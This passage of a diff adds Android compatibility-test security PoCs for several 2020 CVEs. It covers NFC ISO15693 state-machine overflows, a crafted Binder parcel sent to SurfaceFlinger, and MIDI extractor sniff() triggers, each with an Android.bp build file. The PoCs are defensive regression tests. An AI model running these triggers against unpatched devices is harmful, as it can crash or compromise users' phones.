+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0038",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+  p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+  p_i93->block_size = 30;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0039",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+  p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+  p_i93->block_size = 30;
+  p_i93->rw_length = 1;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
index 4362d49..fd10060 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -121,9 +121,8 @@
         if (!mListener) {
             return false;
         }
-        mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
-                                                                  &mClient);
-        if (!mComponent) {
+        if (android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+                                                         &mComponent, &mClient) != C2_OK) {
             return false;
         }
         for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..13f6fc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0226",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+    sp < IServiceManager > sm = defaultServiceManager();
+    if (!sm) {
+        return EXIT_FAILURE;
+    }
+    String16 name(String16("SurfaceFlinger"));
+    sp < IBinder > service = sm->checkService(name);
+    if (!service) {
+        return EXIT_FAILURE;
+    }
+
+    uint32_t code = 2, flags = 0;
+    Parcel data1, reply1;
+    data1.writeInterfaceToken(service->getInterfaceDescriptor());
+    service->transact(code, data1, &reply1, flags);
+    sp < IBinder > binder = reply1.readStrongBinder();
+    if (!binder) {
+        return EXIT_FAILURE;
+    }
+
+    Parcel data2, reply2;
+    data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+    for (uint8_t n = 0; n < kCount; ++n) {
+        data2.writeInt32(1);
+    }
+    data2.setDataPosition(kPosition);
+    data2.writeStrongBinder(binder);
+    binder->transact(code, data2, &reply2, flags);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0381",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
new file mode 100644
index 0000000..5d00345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0384",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
